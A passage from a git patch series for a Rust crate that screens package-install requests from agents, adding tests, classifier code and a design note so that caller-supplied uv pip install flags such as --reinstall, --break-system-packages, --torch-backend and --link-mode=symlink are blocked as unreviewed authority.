= approved_uv_install(); + intent.argv.push(argument.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv reinstall authority must not inherit approval for the reviewed ordinary install: {argument}" + ); + assert!( + decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + "uv reinstall authority must carry the stable artifact_not_approved reason: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-reinstall-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-reinstall-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From e2ef6f13eb2c19672967c20a73fa6bcb9f8e1dfa Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:11:01 +0900 Subject: [PATCH 370/702] style: apply rustfmt to uv reinstall contract --- .../tests/uv_reinstall_authority_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs index 481ff9e8..32162782 100644 --- a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs @@ -40,7 +40,9 @@ fn assert_reinstall_authority_is_blocked(argument: &str) { "caller-selected uv reinstall authority must not inherit approval for the reviewed ordinary install: {argument}" ); assert!( - decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved), + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), "uv reinstall authority must carry the stable artifact_not_approved reason: {:?}", decision.reason_codes ); From 0d8e61d584965f9835f68e79b722eb5be7f0fbb2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:16:56 +0900 Subject: [PATCH 371/702] fix(security): classify uv reinstall mutation authority --- .../src/pypi_install_mutation_authority.rs | 68 +++++++++++++++++-- 1 file changed, 63 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 5159e8ec..daf57044 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -1,16 +1,21 @@ use crate::InstallIntent; -/// Return whether a direct pip install asks for mutation authority over an -/// existing installation that is not represented by the reviewed artifact. +/// Return whether a PyPI install asks for mutation authority over an existing +/// installation that is not represented by the reviewed artifact. pub(crate) fn requests_unapproved_pypi_install_mutation(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; - if !matches!(executable, "pip" | "pip3") { - return false; + let arguments = &intent.argv[1..]; + + match executable { + "pip" | "pip3" => requests_direct_pip_mutation(arguments), + "uv" => requests_uv_pip_mutation(arguments), + _ => false, } +} - let arguments = &intent.argv[1..]; +fn requests_direct_pip_mutation(arguments: &[String]) -> bool { if !arguments .first() .is_some_and(|argument| argument == "install") @@ -23,6 +28,21 @@ pub(crate) fn requests_unapproved_pypi_install_mutation(intent: &InstallIntent) }) } +fn requests_uv_pip_mutation(arguments: &[String]) -> bool { + if !arguments.first().is_some_and(|argument| argument == "pip") + || !arguments + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + arguments + .iter() + .skip(2) + .any(|argument| matches_uv_reinstall_option(argument)) +} + fn matches_ignore_installed_option(argument: &str) -> bool { if argument == "-I" || argument == "-Iv" { return true; @@ -34,3 +54,41 @@ fn matches_ignore_installed_option(argument: &str) -> bool { fn matches_force_reinstall_option(argument: &str) -> bool { argument.len() >= "--fo".len() && "--force-reinstall".starts_with(argument) } + +fn matches_uv_reinstall_option(argument: &str) -> bool { + matches!(argument, "--reinstall" | "--force-reinstall" | "--reinstall-package") + || argument.starts_with("--reinstall-package=") +} + +#[cfg(test)] +mod tests { + use super::matches_uv_reinstall_option; + + #[test] + fn uv_reinstall_matcher_accepts_only_documented_mutation_selectors() { + for argument in [ + "--reinstall", + "--force-reinstall", + "--reinstall-package", + "--reinstall-package=cwl-example", + ] { + assert!( + matches_uv_reinstall_option(argument), + "documented uv reinstall selector must be classified: {argument}" + ); + } + + for argument in [ + "--reinstall-packagex", + "--reinstallx", + "--force-reinstallx", + "--no-deps", + "cwl-example==1.2.3", + ] { + assert!( + !matches_uv_reinstall_option(argument), + "unrelated or prefix-only argv must not gain reinstall semantics: {argument}" + ); + } + } +} From 50062b16fcf28c9e690d0a25f99fdd28fd66c79a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:18:17 +0900 Subject: [PATCH 372/702] docs(security): trace uv reinstall mutation authority --- .../uv-reinstall-mutation-authority.md | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 docs/doctoring/uv-reinstall-mutation-authority.md diff --git a/docs/doctoring/uv-reinstall-mutation-authority.md b/docs/doctoring/uv-reinstall-mutation-authority.md new file mode 100644 index 00000000..4b0f8625 --- /dev/null +++ b/docs/doctoring/uv-reinstall-mutation-authority.md @@ -0,0 +1,44 @@ +# uv reinstall mutation authority + +Verified 2026-09-11 against the current uv command reference, NIST SP 800-53 Release 5.2.0, and CWE 4.20. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for `uv pip install` mutation semantics. It does not make Wardnet an installer, package resolver, filesystem authority, or quarantine runtime. + +## Problem + +A reviewed Python artifact coordinate authorizes the submitted package identity and the reviewed installation capability. It does not, by itself, authorize the caller to force replacement of packages that the executor would otherwise leave installed. + +The uv command reference documents `--reinstall` and its alias `--force-reinstall` as reinstalling packages regardless of whether they are already installed. It separately documents `--reinstall-package ` as reinstalling a selected package regardless of installed state. Those switches change mutation semantics without changing the reviewed package coordinate. If admission treats them as ordinary argv, a caller can acquire replacement authority that was absent from the reviewed intent. + +This is an admission-control problem, not installed-state inspection. Wardnet only classifies the submitted command before execution. The canonical execution/isolation owner remains responsible for the actual environment, filesystem, cleanup, and recovery semantics. + +## Decision + +For the current `uv pip install` admission profile: + +- caller-supplied `--reinstall` fails closed as `artifact_not_approved`; +- caller-supplied `--force-reinstall` fails closed as the same unreviewed mutation authority; +- caller-supplied `--reinstall-package` and `--reinstall-package=` fail closed as the same authority; +- exact command grammar is limited to the documented `uv pip install` path; unrelated uv commands do not inherit this classifier; +- direct `pip` and `pip3` retain their existing mutation-option behavior; +- Wardnet does not inspect installed packages, decide what should be replaced, execute uv, or infer ambient uv configuration. + +A future approved reinstall capability would require a separately versioned policy contract that binds the mutation scope explicitly. It must not be inferred from ordinary artifact approval. + +## RED → repair evidence + +Hosted RED head `e2ef6f13eb2c19672967c20a73fa6bcb9f8e1dfa`, CI run `34553625991`, reached the actual admission assertions after formatting succeeded. The reviewed ordinary uv install remained `Allow`, while `--reinstall`, `--force-reinstall`, and `--reinstall-package=cwl-example` were all incorrectly `Allow` rather than `Block`. Existing direct-pip force-reinstall and ignore-installed contracts passed in the same workspace run, isolating the defect to uv classification. + +Production repair `0d8e61d584965f9835f68e79b722eb5be7f0fbb2` extends the existing PyPI mutation-authority classifier to exact `uv pip install` grammar and recognizes the documented reinstall selectors. A domain-local unit contract also binds both the separate-value option token and attached-value spelling without depending on positional-artifact rejection. Exact-head GREEN is required after this doctoring commit; predecessor check conclusions do not transfer. + +## Standards traceability + +NIST SP 800-53 Release 5.2.0 is the current published control release. The relevant control-family relationship is configuration management: CM-3 requires controlled configuration changes and CM-5 restricts access to configuration changes. Wardnet's fail-closed classification is an implementation-level supporting control: unreviewed argv cannot silently add replacement semantics to an approved package action. This mapping is evidence traceability, not a claim that one admission rule alone satisfies either control. + +CWE-15, *External Control of System or Configuration Setting*, describes the weakness class in which externally supplied input controls settings or values that affect system behavior. The uv reinstall selectors are caller-controlled command settings that alter mutation behavior, so CWE-15 is a suitable root-cause mapping. The mitigation applied here is privilege separation at the admission boundary: ordinary artifact approval is not treated as mutation authority. + +## APA 7 references + +Astral Software Inc. (2026). *Commands | uv*. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/cli/ + +MITRE. (2026). *CWE-15: External control of system or configuration setting (Version 4.20)*. https://cwe.mitre.org/data/definitions/15.html + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations (NIST Special Publication 800-53, Revision 5; Release 5.2.0 issued August 27, 2025)*. U.S. Department of Commerce. https://doi.org/10.6028/NIST.SP.800-53r5 From fbf417bca80a115bf9447699d2569a0ed05784a0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:22:56 +0900 Subject: [PATCH 373/702] style: apply rustfmt to uv reinstall classifier --- .../src/pypi_install_mutation_authority.rs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index daf57044..c7e0b3cb 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -56,8 +56,10 @@ fn matches_force_reinstall_option(argument: &str) -> bool { } fn matches_uv_reinstall_option(argument: &str) -> bool { - matches!(argument, "--reinstall" | "--force-reinstall" | "--reinstall-package") - || argument.starts_with("--reinstall-package=") + matches!( + argument, + "--reinstall" | "--force-reinstall" | "--reinstall-package" + ) || argument.starts_with("--reinstall-package=") } #[cfg(test)] From 26b0c3accd8f33c1a4b1deddca0d98c459895518 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:35:28 +0900 Subject: [PATCH 374/702] test(security): prove uv break-system-packages RED --- ...reak_system_packages_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs new file mode 100644 index 00000000..def9ca74 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs @@ -0,0 +1,86 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_system_package_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_break_system_packages_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--break-system-packages".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv authority to modify an externally managed Python installation must not inherit ordinary artifact approval" + ); + assert!( + decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + "uv break-system-packages authority must carry the stable missing_safety_flag reason: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-break-system-packages-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-break-system-packages-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 79230872fac291abe4be3fcec6dcaacc741c4768 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:41:48 +0900 Subject: [PATCH 375/702] style: apply rustfmt to uv system-package RED --- .../tests/uv_break_system_packages_authority_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs index def9ca74..6002f4f4 100644 --- a/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_break_system_packages_authority_contract.rs @@ -26,7 +26,9 @@ fn uv_break_system_packages_cannot_inherit_artifact_approval() { "caller-selected uv authority to modify an externally managed Python installation must not inherit ordinary artifact approval" ); assert!( - decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag), + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), "uv break-system-packages authority must carry the stable missing_safety_flag reason: {:?}", decision.reason_codes ); From 19439f1847ddcd3e1918a47eaf28a7676d3782bd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:51:03 +0900 Subject: [PATCH 376/702] fix(security): bind uv system-package override authority --- .../src/pypi_system_package_authority.rs | 73 +++++++++++++++---- 1 file changed, 58 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_system_package_authority.rs b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs index 8dabe432..db661a55 100644 --- a/crates/agent-artifact-admission/src/pypi_system_package_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_system_package_authority.rs @@ -1,27 +1,36 @@ use crate::InstallIntent; -/// Return whether a direct pip install asks pip to override the +/// Return whether a pip-compatible install asks to override the /// externally-managed-environment protection required by the reviewed intent. pub(crate) fn requests_pypi_system_package_override(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; - if !matches!(executable, "pip" | "pip3") { - return false; - } - let arguments = &intent.argv[1..]; - if !arguments - .first() - .is_some_and(|argument| argument == "install") - { - return false; - } - arguments - .iter() - .skip(1) - .any(|argument| matches_break_system_packages_option(argument)) + match executable { + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + arguments + .iter() + .skip(1) + .any(|argument| matches_break_system_packages_option(argument)) + } + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + arguments + .iter() + .skip(2) + .any(|argument| matches_uv_break_system_packages_option(argument)) + } + _ => false, + } } /// pip uses Python optparse, which accepts an unambiguous long-option prefix. @@ -53,3 +62,37 @@ fn matches_break_system_packages_option(argument: &str) -> bool { | "--break-system-packages" ) } + +/// uv uses clap-style exact long options for this safety boundary. Do not +/// inherit pip's optparse long-option abbreviation semantics. +fn matches_uv_break_system_packages_option(argument: &str) -> bool { + argument == "--break-system-packages" +} + +#[cfg(test)] +mod tests { + use super::{matches_break_system_packages_option, matches_uv_break_system_packages_option}; + + #[test] + fn direct_pip_preserves_reviewed_optparse_prefix_semantics() { + assert!(matches_break_system_packages_option("--br")); + assert!(matches_break_system_packages_option( + "--break-system-packages" + )); + assert!(!matches_break_system_packages_option("--b")); + } + + #[test] + fn uv_accepts_only_the_exact_documented_safety_override() { + assert!(matches_uv_break_system_packages_option( + "--break-system-packages" + )); + assert!(!matches_uv_break_system_packages_option("--br")); + assert!(!matches_uv_break_system_packages_option( + "--break-system-package" + )); + assert!(!matches_uv_break_system_packages_option( + "--break-system-packages=true" + )); + } +} From dcfe46c6a66cf6e625e6b82cd9c5763f9b48a0c4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 12:06:38 +0900 Subject: [PATCH 377/702] test(security): expose uv torch-backend source authority --- .../uv_torch_backend_authority_contract.rs | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs new file mode 100644 index 00000000..bbdb1042 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs @@ -0,0 +1,104 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_torch_backend_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_torch_backend_attached_value_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--torch-backend=cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv torch backend must not replace the reviewed package source authority" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "attached torch-backend selection must fail causally at the alternate trust-root boundary" + ); +} + +#[test] +fn uv_torch_backend_separate_value_reports_alternate_trust_root() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--torch-backend".to_string()); + intent.argv.push("cpu".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate-value torch-backend selection must be rejected for source authority rather than only as an accidental positional artifact mismatch: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-torch-backend-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-torch-backend-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From b62a41459923acc24b4775e1cf01259dd7d4fe94 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 12:21:00 +0900 Subject: [PATCH 378/702] fix(security): bind uv torch backend trust authority --- .../src/uv_configuration_authority.rs | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_configuration_authority.rs b/crates/agent-artifact-admission/src/uv_configuration_authority.rs index 34f0475e..0057553e 100644 --- a/crates/agent-artifact-admission/src/uv_configuration_authority.rs +++ b/crates/agent-artifact-admission/src/uv_configuration_authority.rs @@ -1,7 +1,7 @@ use crate::InstallIntent; -/// Return whether an approved uv install delegates package-source and trust -/// configuration to a caller-selected configuration file. +/// Return whether an approved uv install delegates package-source or trust +/// authority to caller-selected uv configuration. pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -19,8 +19,10 @@ pub(crate) fn requests_unapproved_uv_configuration_authority(intent: &InstallInt return false; } - arguments - .iter() - .skip(2) - .any(|argument| argument == "--config-file" || argument.starts_with("--config-file=")) + arguments.iter().skip(2).any(|argument| { + argument == "--config-file" + || argument.starts_with("--config-file=") + || argument == "--torch-backend" + || argument.starts_with("--torch-backend=") + }) } From 1946af304bc4d22850234c74fd1e9ae5cc06ed09 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 12:36:46 +0900 Subject: [PATCH 379/702] test(security): prove uv symlink link-mode admission gap --- ...uv_symlink_link_mode_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs new file mode 100644 index 00000000..50d22e5c --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -0,0 +1,86 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_link_mode_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_symlink_link_mode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--link-mode=symlink".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected symlink materialization must not inherit reviewed artifact approval" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "symlink link mode must fail causally as unreviewed installation/materialization authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-symlink-link-mode-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-symlink-link-mode-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From e4625a26c6ca07b3676fec347608bb8e171fa545 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 12:43:18 +0900 Subject: [PATCH 380/702] fix(security): bind uv symlink materialization authority --- .../src/uv_link_mode_authority.rs | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 crates/agent-artifact-admission/src/uv_link_mode_authority.rs diff --git a/crates/agent-artifact-admission/src/uv_link_mode_authority.rs b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs new file mode 100644 index 00000000..391a75d1 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs @@ -0,0 +1,98 @@ +use crate::InstallIntent; + +/// Return whether an approved uv install explicitly selects symlink +/// materialization from uv's shared cache. +pub(crate) fn requests_unapproved_uv_symlink_link_mode(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "uv" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pip") + || !arguments + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + let install_arguments = &arguments[2..]; + install_arguments.iter().enumerate().any(|(index, argument)| { + argument == "--link-mode=symlink" + || (argument == "--link-mode" + && install_arguments + .get(index + 1) + .is_some_and(|value| value == "symlink")) + }) +} + +#[cfg(test)] +mod tests { + use super::requests_unapproved_uv_symlink_link_mode; + use crate::{ + ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind, + }; + + fn intent(argv: &[&str]) -> InstallIntent { + InstallIntent { + request_id: "req-uv-link-mode-unit".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: argv.iter().map(|value| (*value).to_string()).collect(), + manifest_sha256: + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }], + } + } + + #[test] + fn uv_symlink_matcher_accepts_only_explicit_symlink_materialization() { + assert!(requests_unapproved_uv_symlink_link_mode(&intent(&[ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ]))); + assert!(requests_unapproved_uv_symlink_link_mode(&intent(&[ + "uv", + 